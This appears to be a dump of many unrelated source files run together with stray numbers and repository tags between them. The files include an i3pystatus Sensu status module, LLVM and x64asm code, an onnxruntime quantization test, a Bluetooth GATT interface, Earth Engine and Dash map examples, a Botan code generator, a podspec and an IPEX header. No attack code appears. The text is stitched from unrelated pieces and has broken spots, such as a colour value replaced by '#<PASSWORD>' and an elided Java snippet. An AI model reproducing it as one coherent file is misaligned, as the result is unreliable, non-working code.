from i3pystatus import IntervalModule, formatp from enum import IntEnum import requests from urllib.parse import urljoin class SensuCheck(IntervalModule): """ Pool sensu api events .. rubric:: Available formatters * {status} OK if not events else numbers of events * {last_event} Display the output of the most recent event (with priority on error event) """ interval = 5 required = ("api_url",) settings = ( ("api_url", "URL of Sensu API. e.g: http://localhost/sensu/"), "api_username", "api_password", "format", "color_error", "color_warn", "color_ok", ("last_event_label", "Label to put before the last event output (default 'Last:')"), ("max_event_field", "Defines max length of the last_event message field " "(default: 50)"), ) api_url = None api_username = None api_password = None format = "{status}" color_error = "#ff0000" color_warn = "#<PASSWORD>" color_ok = "#00ff00" last_event_label = "Last:" max_event_field = 50 def run(self): try: auth = () if self.api_username: auth = (self.api_username, self.api_password or "") response = requests.get(urljoin(self.api_url, "events"), auth=auth) if response.status_code != requests.codes.OK: self.error("could not query sensu api: {}".format(response.status_code)) else: try: events = response.json() except ValueError: self.error("could not decode json") else: try: self.set_output(events) except KeyError as exc: self.error("could not find field {!s} in event".format(exc)) except Exception as exc: self.output = { "full_text": "FAILED: {!s}".format(str(exc)), "color": self.color_error, } def set_output(self, events): events = sorted( [e for e in events if e["action"] != "resolve" and not e["silenced"]], key=lambda x: x["last_ok"], reverse=True ) last_event_output = "" if not events: status = "OK" color = self.color_ok else: error = None try: error = next(e for e in events if e["check"]["status"] == SensuStatus.critical) except StopIteration: last_event = events[0] else: last_event = error status = "{} event(s)".format(len(events)) color = self.color_error if error else self.color_warn last_event_output = self.get_event_output(last_event) self.output = { "full_text": formatp(self.format, status=status, last_event=last_event_output), "color": color, } def get_event_output(self, event): output = (event["check"]["output"] or "").replace("\n", " ") if self.last_event_label: output = "{} {}".format(self.last_event_label, output) if self.max_event_field and len(output) > self.max_event_field: output = output[:self.max_event_field] return output def error(self, error_msg): self.output = { "full_text": error_msg, "color": self.color_error, } class SensuStatus(IntEnum): ok = 0 warn = 1 critical = 2 unknown = 3
1,741
4,812
<gh_stars>1000+ //===- Error.cpp - system_error extensions for llvm-readobj -----*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This defines a new error_category for the llvm-readobj tool. // //===----------------------------------------------------------------------===// #include "Error.h" #include "llvm/Support/ErrorHandling.h" using namespace llvm; namespace { // FIXME: This class is only here to support the transition to llvm::Error. It // will be removed once this transition is complete. Clients should prefer to // deal with the Error value directly, rather than converting to error_code. class _readobj_error_category : public std::error_category { public: const char* name() const noexcept override; std::string message(int ev) const override; }; } // namespace const char *_readobj_error_category::name() const noexcept { return "llvm.readobj"; } std::string _readobj_error_category::message(int EV) const { switch (static_cast<readobj_error>(EV)) { case readobj_error::success: return "Success"; case readobj_error::file_not_found: return "No such file."; case readobj_error::unsupported_file_format: return "The file was not recognized as a valid object file."; case readobj_error::unrecognized_file_format: return "Unrecognized file type."; case readobj_error::unsupported_obj_file_format: return "Unsupported object file format."; case readobj_error::unknown_symbol: return "Unknown symbol."; } llvm_unreachable("An enumerator of readobj_error does not have a message " "defined."); } namespace llvm { const std::error_category &readobj_category() { static _readobj_error_category o; return o; } } // namespace llvm
598
669
<gh_stars>100-1000 #!/usr/bin/env python # coding: utf-8 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import unittest import numpy as np import onnx from onnx import TensorProto, helper from op_test_utils import TestDataFeeds, check_model_correctness, check_op_type_count, check_qtype_by_node_type from onnxruntime.quantization import QuantFormat, QuantType, quantize_dynamic, quantize_static class TestOpQuatizerPad(unittest.TestCase): def input_feeds(self, n, name2shape): input_data_list = [] for i in range(n): inputs = {} for name, shape in name2shape.items(): inputs.update({name: np.random.randint(-1, 2, shape).astype(np.float32)}) input_data_list.extend([inputs]) dr = TestDataFeeds(input_data_list) return dr def construct_model_pad( self, output_model_path, pad_mode, pad_input_shape, pad_dims, constant_value=None, ): # (input) # | # Pad # | # (output) rank = len(pad_input_shape) self.assertEqual(rank * 2, len(pad_dims)) input_tensor = helper.make_tensor_value_info("input", TensorProto.FLOAT, pad_input_shape) pad_dims_initializer = helper.make_tensor("pad_dims", TensorProto.INT64, [2 * rank], pad_dims) output_shape = [sum(e) for e in list(zip(pad_input_shape, pad_dims[:rank], pad_dims[rank:]))] output_tensor = helper.make_tensor_value_info("output", TensorProto.FLOAT, output_shape) inputs = ["input", "pad_dims"] initializers = [pad_dims_initializer] if (constant_value is not None) and (pad_mode is None or pad_mode == "constant"): constant_value_tensor = helper.make_tensor("padding_value", TensorProto.FLOAT, [], [constant_value]) inputs.extend(["padding_value"]) initializers.extend([constant_value_tensor]) kwargs = {"mode": pad_mode} if pad_mode is not None else {} pad_node = helper.make_node("Pad", inputs, ["output"], name="PadNode", **kwargs) graph = helper.make_graph( [pad_node], "TestOpQuantizerPad_test_model", [input_tensor], [output_tensor], initializer=initializers, ) model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)]) model.ir_version = 7 # use stable onnx ir version onnx.save(model, output_model_path) def construct_model_conv_pad( self, output_model_path, conv_input_shape, conv_weight_shape, pad_input_shape, pad_mode, pad_dims, constant_value=None, ): # (input) # \ # Conv # / \ # Identity Pad # / \ # (identity_out) (output) rank = len(pad_input_shape) self.assertEqual(rank * 2, len(pad_dims)) input_tensor = helper.make_tensor_value_info("input", TensorProto.FLOAT, conv_input_shape) conv_weight_arr = np.random.randint(-1, 2, conv_weight_shape).astype(np.float32) conv_weight_initializer = onnx.numpy_helper.from_array(conv_weight_arr, name="conv1_weight") conv_node = onnx.helper.make_node("Conv", ["input", "conv1_weight"], ["conv_output"], name="conv_node") identity_out = helper.make_tensor_value_info("identity_out", TensorProto.FLOAT, pad_input_shape) identity_node = helper.make_node("Identity", ["conv_output"], ["identity_out"], name="IdentityNode") pad_dims_initializer = helper.make_tensor("pad_dims", TensorProto.INT64, [2 * rank], pad_dims) output_shape = [sum(e) for e in list(zip(pad_input_shape, pad_dims[:rank], pad_dims[rank:]))] output_tensor = helper.make_tensor_value_info("output", TensorProto.FLOAT, output_shape) pad_inputs = ["conv_output", "pad_dims"] initializers = [conv_weight_initializer, pad_dims_initializer] if (constant_value is not None) and (pad_mode is None or pad_mode == "constant"): constant_value_tensor = helper.make_tensor("padding_value", TensorProto.FLOAT, [], [constant_value]) pad_inputs.extend(["padding_value"]) initializers.extend([constant_value_tensor]) kwargs = {"mode": pad_mode} if pad_mode is not None else {} pad_node = helper.make_node("Pad", pad_inputs, ["output"], name="pad_node", **kwargs) graph = helper.make_graph( [conv_node, identity_node, pad_node], "TestOpQuantizerPad_test_model", [input_tensor], [identity_out, output_tensor], initializer=initializers, ) model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)]) model.ir_version = 7 # use stable onnx ir version onnx.save(model, output_model_path) def quantize_model( self, model_fp32_path, model_i8_path, data_reader=None, activation_type=QuantType.QUInt8, weight_type=QuantType.QUInt8, extra_options={}, ): if data_reader is not None: quantize_static( model_fp32_path, model_i8_path, data_reader, reduce_range=True, quant_format=QuantFormat.QOperator, activation_type=activation_type, weight_type=weight_type, extra_options=extra_options, ) else: quantize_dynamic( model_fp32_path, model_i8_path, reduce_range=True, weight_type=weight_type, extra_options=extra_options, ) def verify_should_not_trigger(self, quantize_mode="static"): np.random.seed(108) model_fp32_path = "qop_pad_notrigger_fp32_{}.onnx".format(quantize_mode) model_i8_path = "qop_pad_notrigger_i8_{}.onnx".format(quantize_mode) data_reader = self.input_feeds(1, {"input": [1, 16, 31, 31]}) self.construct_model_pad(model_fp32_path, "constant", [1, 16, 31, 31], [0, 0, 1, 2, 0, 0, 3, 4]) self.quantize_model( model_fp32_path, model_i8_path, None if quantize_mode != "static" else data_reader, ) data_reader.rewind() # DequantizeLinear=0 pad node is not been quantized as input is not quantized. check_op_type_count( self, model_i8_path, DynamicQuantizeLinear=0, QuantizeLinear=0, DequantizeLinear=0, ) check_model_correctness(self, model_fp32_path, model_i8_path, data_reader.get_next()) def test_static_quantize_no_trigger(self): self.verify_should_not_trigger(quantize_mode="static") def test_dynamic_quantize_no_trigger(self): self.verify_should_not_trigger(quantize_mode="dynamic") def verify_quantize_with_pad_mode( self, pad_mode, constant_value=None, quantize_mode="static", rtol=0.01, atol=0.05, activation_type=QuantType.QUInt8, weight_type=QuantType.QUInt8, extra_options={}, ): np.random.seed(108) tag_pad_mode = pad_mode if pad_mode is not None else "none" tag_constant_value = "" if constant_value is None else "_value" model_fp32_path = "qop_pad_{}_fp32_{}{}.onnx".format(quantize_mode, tag_pad_mode, tag_constant_value) data_reader = self.input_feeds(1, {"input": [1, 8, 33, 33]}) self.construct_model_conv_pad( model_fp32_path, [1, 8, 33, 33], [16, 8, 3, 3], [1, 16, 31, 31], pad_mode, [0, 0, 1, 2, 0, 0, 3, 4], constant_value=constant_value, ) activation_proto_qtype = TensorProto.UINT8 if activation_type == QuantType.QUInt8 else TensorProto.INT8 activation_type_str = "u8" if (activation_type == QuantType.QUInt8) else "s8" weight_type_str = "u8" if (weight_type == QuantType.QUInt8) else "s8" model_i8_path = "qop_pad_{}_i8_{}{}_{}{}.onnx".format( quantize_mode, tag_pad_mode, tag_constant_value, activation_type_str, weight_type_str, ) data_reader.rewind() self.quantize_model( model_fp32_path, model_i8_path, None if quantize_mode != "static" else data_reader, activation_type=activation_type, weight_type=weight_type, extra_options=extra_options, ) # DequantizeLinear=2 means there are one DequantizeLinear Node aftr both conv and pad, # which means pad node is running in quantized semantic. # In dynamic quantize mode, pad operator in fact not quantized as input is fp32. if quantize_mode != "static": kwargs = {"DynamicQuantizeLinear": 1} if activation_type == QuantType.QUInt8 else {"QuantizeLinear": 1} else: kwargs = {"DequantizeLinear": 2, "QuantizeLinear": 1} check_op_type_count(self, model_i8_path, **kwargs) # check node input/output type if such node exists in the graph qnode_io_qtypes = { "QuantizeLinear": [ ["i", 2, activation_proto_qtype], ["o", 0, activation_proto_qtype], ] } qnode_io_qtypes.update({"DequantizeLinear": [["i", 2, activation_proto_qtype]]}) qnode_io_qtypes.update({"ConvInteger": [["i", 2, activation_proto_qtype]]}) check_qtype_by_node_type(self, model_i8_path, qnode_io_qtypes) data_reader.rewind() check_model_correctness( self, model_fp32_path, model_i8_path, data_reader.get_next(), rtol=rtol, atol=atol, ) def test_static_mode_edge(self): self.verify_quantize_with_pad_mode("edge", constant_value=None) def test_static_mode_reflect(self): self.verify_quantize_with_pad_mode("reflect", constant_value=None) def test_static_mode_constant_default(self): self.verify_quantize_with_pad_mode("constant", constant_value=None) def test_static_mode_constant_value(self): self.verify_quantize_with_pad_mode("constant", constant_value=3.75) def test_static_mode_edge_s8s8(self): self.verify_quantize_with_pad_mode( "edge", constant_value=None, rtol=0.1, atol=0.1, activation_type=QuantType.QInt8, weight_type=QuantType.QInt8, extra_options={"ActivationSymmetric": True}, ) def test_static_mode_reflect_s8s8(self): self.verify_quantize_with_pad_mode( "reflect", constant_value=None, rtol=0.1, atol=0.1, activation_type=QuantType.QInt8, weight_type=QuantType.QInt8, extra_options={"ActivationSymmetric": True}, ) def test_static_mode_constant_default_s8s8(self): self.verify_quantize_with_pad_mode( "constant", constant_value=None, rtol=0.1, atol=0.1, activation_type=QuantType.QInt8, weight_type=QuantType.QInt8, extra_options={"ActivationSymmetric": True}, ) def test_static_mode_constant_value_s8s8(self): self.verify_quantize_with_pad_mode( "constant", constant_value=3.75, rtol=0.1, atol=0.1, activation_type=QuantType.QInt8, weight_type=QuantType.QInt8, extra_options={"ActivationSymmetric": True}, ) def test_dynamic_mode_edge(self): self.verify_quantize_with_pad_mode("edge", constant_value=None, quantize_mode="dynamic") def test_dynamic_mode_reflect(self): self.verify_quantize_with_pad_mode("reflect", constant_value=None, quantize_mode="dynamic") def test_dynamic_mode_constant_default(self): self.verify_quantize_with_pad_mode("constant", constant_value=None, quantize_mode="dynamic") def test_dynamic_mode_constant_value(self): self.verify_quantize_with_pad_mode("constant", constant_value=3.75, quantize_mode="dynamic") # TODO: uncomment following after ConvInteger s8 supported # def test_dynamic_mode_edge_s8s8(self): # self.verify_quantize_with_pad_mode('edge', constant_value=None, quantize_mode='dynamic', activation_type=QuantType.QInt8, # weight_type=QuantType.QInt8, extra_options={'ActivationSymmetric': True}) # def test_dynamic_mode_reflect_s8s8(self): # self.verify_quantize_with_pad_mode('reflect', constant_value=None, quantize_mode='dynamic', activation_type=QuantType.QInt8, # weight_type=QuantType.QInt8, extra_options={'ActivationSymmetric': True}) # def test_dynamic_mode_constant_default_s8s8(self): # self.verify_quantize_with_pad_mode('constant', constant_value=None, quantize_mode='dynamic', activation_type=QuantType.QInt8, # weight_type=QuantType.QInt8, extra_options={'ActivationSymmetric': True}) # def test_dynamic_mode_constant_value_s8s8(self): # self.verify_quantize_with_pad_mode('constant', constant_value=3.75, quantize_mode='dynamic', activation_type=QuantType.QInt8, # weight_type=QuantType.QInt8, extra_options={'ActivationSymmetric': True}) if __name__ == "__main__": unittest.main()
6,755
645
<filename>tests/x64asm/reg_set.h // Copyright 2013-2016 Stanford University // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef _STOKE_TEST_X64ASM_REGSET_H #define _STOKE_TEST_X64ASM_REGSET_H #include "src/ext/x64asm/src/reg_set.h" #include <sstream> namespace x64asm { class RegSetReaderTest : public ::testing::Test { public: void SetUp() { } protected: std::stringstream ss_; RegSet rs_; }; TEST_F(RegSetReaderTest, ReadsRAX) { ss_ << "{ %rax }"; RegSet expected = RegSet::empty() + Constants::rax(); ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesRAX) { std::string expected = "{ %rax }"; RegSet rs_ = RegSet::empty() + Constants::rax(); ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, ReadsAX) { ss_ << "{ %ax }"; RegSet expected = RegSet::empty() + Constants::ax(); ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesAX) { std::string expected = "{ %ax }"; RegSet rs_ = RegSet::empty() + Constants::ax(); ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, WritesAxEcx) { std::string expected = "{ %ax %ecx }"; RegSet rs_ = RegSet::empty() + Constants::ax() + Constants::ecx(); ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, ReadsXMM0) { ss_ << "{ %xmm0 }"; RegSet expected = RegSet::empty() + Constants::xmm0(); ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesXMM0) { std::string expected = "{ %xmm0 }"; RegSet rs_ = RegSet::empty() + Constants::xmm0(); ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, ReadsYMM0) { ss_ << "{ %ymm0 }"; RegSet expected = RegSet::empty() + Constants::ymm0(); ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesYMM0) { std::string expected = "{ %ymm0 }"; RegSet rs_ = RegSet::empty() + Constants::ymm0(); ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, ReadsCf) { ss_ << "{ %cf }"; RegSet expected = RegSet::empty() + eflags_cf; ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesCf) { std::string expected = "{ %cf }"; RegSet rs_ = RegSet::empty() + eflags_cf; ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST_F(RegSetReaderTest, ReadsIopl) { ss_ << "{ %iopl }"; RegSet expected = RegSet::empty() + eflags_iopl; ss_ >> rs_; ASSERT_EQ(expected, rs_); } TEST_F(RegSetReaderTest, WritesIopl) { std::string expected = "{ %iopl }"; RegSet rs_ = RegSet::empty() + eflags_iopl; ss_ << rs_; ASSERT_EQ(expected, ss_.str()); } TEST(RegSetWriteSet, AddbSil) { std::stringstream ss; ss << "addb $0x10, %sil" << std::endl; Code c; ss >> c; Instruction i = c[0]; RegSet writes = i.must_write_set(); EXPECT_TRUE(writes.contains(sil)); } } //namespace x64asm #endif
1,358
1,551
// Copyright 2017-2019 <NAME> // // This file is part of Gobbledegook. // // Use of this source code is governed by a BSD-style license that can be found // in the LICENSE file in the root of the source tree. // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // >> // >>> INSIDE THIS FILE // >> // // This is our abstraction layer for GATT interfaces, used by GattService, GattCharacteristic & GattDescriptor // // >> // >>> DISCUSSION // >> // // This class is intended to be used within the server description. For an explanation of how this class is used, see the detailed // description in Server.cpp. // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #include "GattInterface.h" #include "GattProperty.h" #include "DBusObject.h" #include "Logger.h" namespace ggk { // // Standard constructor // GattInterface::GattInterface(DBusObject &owner, const std::string &name) : DBusInterface(owner, name) { } GattInterface::~GattInterface() { } // // GATT Characteristic properties // // Returns the list of GATT properties const std::list<GattProperty> &GattInterface::getProperties() const { return properties; } // When responding to a method, we need to return a GVariant value wrapped in a tuple. This method will simplify this slightly by // wrapping a GVariant of the type "ay" and wrapping it in a tuple before sending it off as the method response. // // This is the generalized form that accepts a GVariant *. There is a templated helper method (`methodReturnValue()`) that accepts // common types. void GattInterface::methodReturnVariant(GDBusMethodInvocation *pInvocation, GVariant *pVariant, bool wrapInTuple) const { if (wrapInTuple) { pVariant = g_variant_new_tuple(&pVariant, 1); } g_dbus_method_invocation_return_value(pInvocation, pVariant); } // Locates a `GattProperty` within the interface // // This method returns a pointer to the property or nullptr if not found const GattProperty *GattInterface::findProperty(const std::string &name) const { for (const GattProperty &property : properties) { if (property.getName() == name) { return &property; } } return nullptr; } // Internal method used to generate introspection XML used to describe our services on D-Bus std::string GattInterface::generateIntrospectionXML(int depth) const { std::string prefix; prefix.insert(0, depth * 2, ' '); std::string xml = std::string(); if (methods.size() && getProperties().empty()) { xml += prefix + "<interface name='" + getName() + "' />\n"; } else { xml += prefix + "<interface name='" + getName() + "'>\n"; // Describe our methods for (const DBusMethod &method : methods) { xml += method.generateIntrospectionXML(depth + 1); } // Describe our properties for (const GattProperty &property : getProperties()) { xml += property.generateIntrospectionXML(depth + 1); } xml += prefix + "</interface>\n"; } return xml; } }; // namespace ggk
934
2,151
<reponame>zipated/src /* * Copyright (C) 2016 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package android.webkit; /** * Base class for clients to capture Service Worker related callbacks, * see {@link ServiceWorkerController} for usage example. */ public class ServiceWorkerClient { /** * Notify the host application of a resource request and allow the * application to return the data. If the return value is null, the * Service Worker will continue to load the resource as usual. * Otherwise, the return response and data will be used. * NOTE: This method is called on a thread other than the UI thread * so clients should exercise caution when accessing private data * or the view system. * * @param request Object containing the details of the request. * @return A {@link android.webkit.WebResourceResponse} containing the * response information or null if the WebView should load the * resource itself. * @see WebViewClient#shouldInterceptRequest(WebView, WebResourceRequest) */ public WebResourceResponse shouldInterceptRequest(WebResourceRequest request) { return null; } }
495
793
<filename>clang/test/APINotes/Inputs/Headers/ModuleWithWrongCase.h extern int ModuleWithWrongCase;
36
6,098
<filename>h2o-core/src/main/java/water/api/schemas3/LogsV3.java package water.api.schemas3; import water.Iced; import water.api.API; public class LogsV3 extends RequestSchemaV3<Iced, LogsV3> { @API(help="Identifier of the node to get logs from. It can be either node index starting from (0-based), where -1 means current node, or IP and port.", required = true, direction = API.Direction.INPUT) public String nodeidx; @API(help="Which specific log file to read from the log file directory. If left unspecified, the system chooses a default for you.", direction = API.Direction.INPUT) public String name; @API(help="Content of log file", direction = API.Direction.OUTPUT) public String log; }
224
474
#import "SampleClass.h" NS_ASSUME_NONNULL_BEGIN @interface SampleClass (Cat) @property (nonatomic) NSString *additionalDynamicProperty; @property (nonatomic) NSString *additionalNonDynamicProperty; @end NS_ASSUME_NONNULL_END
79
646
<reponame>monocilindro/qgis-earthengine-examples import ee from ee_plugin import Map # Image.reduceRegion example # # Computes a simple reduction over a region of an image. A reduction # is any process that takes an arbitrary number of inputs (such as # all the pixels of an image in a given region) and computes one or # more fixed outputs. The result is a dictionary that contains the # computed values, which in this example is the maximum pixel value # in the region. # This example shows how to print the resulting dictionary to the # console, which is useful when developing and debugging your # scripts, but in a larger workflow you might instead use the # Dicitionary.get() function to extract the values you need from the # dictionary for use as inputs to other functions. # The input image to reduce, in this case an SRTM elevation map. image = ee.Image('CGIAR/SRTM90_V4') # The region to reduce within. poly = ee.Geometry.Rectangle([-109.05, 41, -102.05, 37]) # Reduce the image within the given region, using a reducer that # computes the max pixel value. We also specify the spatial # resolution at which to perform the computation, in this case 200 # meters. max = image.reduceRegion(**{ 'reducer': ee.Reducer.max(), 'geometry': poly, 'scale': 200 }) # Print the result (a Dictionary) to the console. print(max.getInfo())
387
2,332
<reponame>JeroenvdSande/dash-sample-apps<gh_stars>1000+ """ Adapted from: https://pydeck.gl/gallery/bitmap_layer.html A 1906 Britton & Rey's map of San Francisco's 1906 fire, overlaid on an interactive map of San Francisco. """ import os import dash import dash_deck import dash_html_components as html import pydeck as pdk import pandas as pd mapbox_api_token = os.getenv("MAPBOX_ACCESS_TOKEN") app = dash.Dash(__name__) # Map of San Francisco from 1906 IMG_URL = '"https://i.imgur.com/W95ked7.jpg"' # Specifies the corners of the image bounding box BOUNDS = [ [-122.52690000000051, 37.70313158980733], [-122.52690000000051, 37.816395657523195], [-122.34604834372873, 37.816134829424335], [-122.34656848822227, 37.70339041384273], ] bitmap_layer = pdk.Layer( "BitmapLayer", data=None, image=IMG_URL, bounds=BOUNDS, opacity=0.7 ) view_state = pdk.ViewState( latitude=37.7576171, longitude=-122.5776844, zoom=10, bearing=-45, pitch=60, ) r = pdk.Deck( bitmap_layer, initial_view_state=view_state, map_style=pdk.map_styles.SATELLITE, mapbox_key=mapbox_api_token, ) app.layout = html.Div( dash_deck.DeckGL(r.to_json(), id="deck-gl", mapboxKey=r.mapbox_key) ) if __name__ == "__main__": app.run_server(debug=True)
528
1,988
#!/usr/bin/python3 import sys import datetime # (C) 2018 <NAME> # Botan is released under the Simplified BSD License (see license.txt) # Used to generate src/lib/math/mp/mp_monty_n.cpp def monty_redc_code(n): lines = [] lines.append("word w2 = 0, w1 = 0, w0 = 0;") lines.append("w0 = z[0];") lines.append("ws[0] = w0 * p_dash;") lines.append("word3_muladd(&w2, &w1, &w0, ws[0], p[0]);") lines.append("w0 = w1; w1 = w2; w2 = 0;") for i in range(1, n): for j in range(0, i): lines.append("word3_muladd(&w2, &w1, &w0, ws[%d], p[%d]);" % (j, i-j)) lines.append("word3_add(&w2, &w1, &w0, z[%d]);" % (i)) lines.append("ws[%d] = w0 * p_dash;" % (i)) lines.append("word3_muladd(&w2, &w1, &w0, ws[%d], p[0]);" % (i)) lines.append("w0 = w1; w1 = w2; w2 = 0;") for i in range(0, n): for j in range(i + 1, n): lines.append("word3_muladd(&w2, &w1, &w0, ws[%d], p[%d]);" % (j, n + i-j)) lines.append("word3_add(&w2, &w1, &w0, z[%d]);" % (n+i)) lines.append("ws[%d] = w0;" % (i)) lines.append("w0 = w1; w1 = w2; w2 = 0;") lines.append("word3_add(&w2, &w1, &w0, z[%d]);" % (2*(n+1) - 1)) lines.append("ws[%d] = w0;" % (n)) lines.append("ws[%d] = w1;" % (n+1)) sub3_bound = 0 if n >= sub3_bound: lines.append("word borrow = 0;") for i in range(n): lines.append("ws[%d] = word_sub(ws[%d], p[%d], &borrow);" % (n + 1 + i, i, i)) lines.append("ws[%d] = word_sub(ws[%d], 0, &borrow);" % (2*n+1, n)) else: lines.append("word borrow = bigint_sub3(ws + %d + 1, ws, %d + 1, p, %d);" % (n, n, n)) lines.append("CT::conditional_copy_mem(borrow, z, ws, ws + %d, %d);" % (n + 1, n + 1)) lines.append("clear_mem(z + %d, 2*(%d+1) - %d);" % (n, n, n)) for line in lines: print(" %s" % (line)) def main(args = None): if args is None: args = sys.argv if len(args) <= 1: sizes = [4, 6, 8, 16, 24, 32] else: sizes = map(int, args[1:]) print("""/* * This file was automatically generated by %s on %s * All manual changes will be lost. Edit the script instead. * * Botan is released under the Simplified BSD License (see license.txt) */ #include <botan/internal/mp_core.h> #include <botan/internal/ct_utils.h> namespace Botan { """ % (sys.argv[0], datetime.date.today().strftime("%Y-%m-%d"))) for n in sizes: print("void bigint_monty_redc_%d(word z[], const word p[%d], word p_dash, word ws[])" % (n, n)) print(" {") monty_redc_code(n) print(" }\n") print("}") return 0 if __name__ == '__main__': sys.exit(main())
1,390
5,169
<reponame>Gantios/Specs<gh_stars>1000+ { "name": "IconBadger", "version": "1.0.0", "summary": "Script adding dynamically a badge with a custom text to the app's icon on build time", "homepage": "https://github.com/ach-ref/IconBadger", "description": "Script written in Swift that prepares the iOS app icon overlay with a ribbon and a given text\nsuch as alpha, beta or version and build numbers", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "<NAME>": "<EMAIL>" }, "social_media_url": "https://amarzouki.com", "source": { "git": "https://github.com/ach-ref/IconBadger.git", "tag": "1.0.0" }, "platforms": { "ios": "9.0" }, "swift_versions": "5", "preserve_paths": "resources/**/*", "requires_arc": true, "prepare_command": "swift build -c release && cp -f .build/x86_64-apple-macosx/release/iconBadger resources/bin/iconBadger", "swift_version": "5" }
358
4,036
<reponame>vadi2/codeql public class Account { private Integer balance; public Account(Integer startingBalance) { this.balance = startingBalance; } } public class BankManager { public void openAccount(Customer c) { ... // AVOID: Inefficient primitive constructor accounts.add(new Account(new Integer(0))); // GOOD: Use 'valueOf' accounts.add(new Account(Integer.valueOf(0))); // GOOD: Rely on autoboxing accounts.add(new Account(0)); } }
159
322
<reponame>intel/intel-extension-for-pytorch<filename>torch_ipex/csrc/cpu/WeightPack.h #pragma once #include <ATen/Tensor.h> #include "ideep/ideep.hpp" #include <vector> namespace torch_ipex { namespace cpu { // Get conv packed weight according to input_size, // if input size is empty, will use dummy input size, the // weight_is_channels_last works when weight_packed=true, and // use_channels_last only works when input_size is none-empty, it will force // weight to channels last when use_channels_last is true given a input size. ideep::tensor get_conv_packed_weight( const at::Tensor& weight, at::IntArrayRef stride, at::IntArrayRef padding, at::IntArrayRef dilation, at::IntArrayRef weight_size, int64_t groups, bool weight_is_channels_last, bool weight_packed, bool use_channels_last, at::IntArrayRef input_size, const ideep::attr_t& attr); // pack convolution's weight according to dummy input. // weight: weight need to be packed // dtype: if given dtype, will use this dtype to override weight's dtype at::Tensor conv2d_weight_pack( const at::Tensor& weight, at::IntArrayRef padding, at::IntArrayRef stride, at::IntArrayRef dilation, int64_t groups, c10::optional<at::ScalarType> dtype); // Unpack convolution's weight according to dummy input. at::Tensor conv2d_weight_unpack( const at::Tensor& weight, at::IntArrayRef padding, at::IntArrayRef stride, at::IntArrayRef dilation, at::IntArrayRef kernel_size, int64_t groups, int64_t output_channel, int64_t input_channel, bool is_channels_last, c10::optional<at::ScalarType> dtype); // Get the linear's expected ideep weight tensor, the weight may be a 2-D tensor // or has benn packed to a n-D tensor, if it is a plain tensor, it will reorder // to a expected weight according queried desc of OneDNN linear, or if it is // pack, it will init a ideep tensor according queried desc and weight's // data_ptr(not has memory copy). ideep::tensor get_linear_packed_weight( const at::Tensor& weight, const int64_t out_features, const int64_t in_features); std::tuple<ideep::tensor, ideep::tensor> get_lstm_packed_weight( const at::Tensor& weight_ih, const at::Tensor& weight_hh, int64_t input_size, int64_t num_gates, int64_t hidden_size, const ideep::dims& output_sizes, const ideep::tensor& src_layer, const ideep::tensor& src_iter, const ideep::tensor& src_iter_c, const ideep::tensor& bias, const bool reverse, const bool train); bool is_packed(const at::Tensor& weight); // pack linear's weight according to dummy input. // weight: weight need to be packed // dtype: dtype used to query best weight format at::Tensor linear_weight_pack( const at::Tensor& weight, c10::optional<at::ScalarType> dtype); // Unpack Linear's weight according to dummy input at::Tensor linear_weight_unpack( const at::Tensor& weight, const int64_t out_features, const int64_t in_features, const bool original_weight_transposed, c10::optional<at::ScalarType> dtype); ideep::tensor get_conv_transpose2d_packed_weight( const at::Tensor& weight, at::IntArrayRef stride, at::IntArrayRef padding, at::IntArrayRef dilation, at::IntArrayRef weight_size, int64_t groups, bool weight_is_channels_last, bool weight_packed, bool use_channels_last, at::IntArrayRef input_size, const ideep::attr_t& attr); at::Tensor conv_transpose2d_weight_pack( const at::Tensor& weight, at::IntArrayRef stride, at::IntArrayRef padding, at::IntArrayRef output_padding, int64_t groups, at::IntArrayRef dilation, c10::optional<at::ScalarType> dtype); } // namespace cpu } // namespace torch_ipex
1,404
14,668
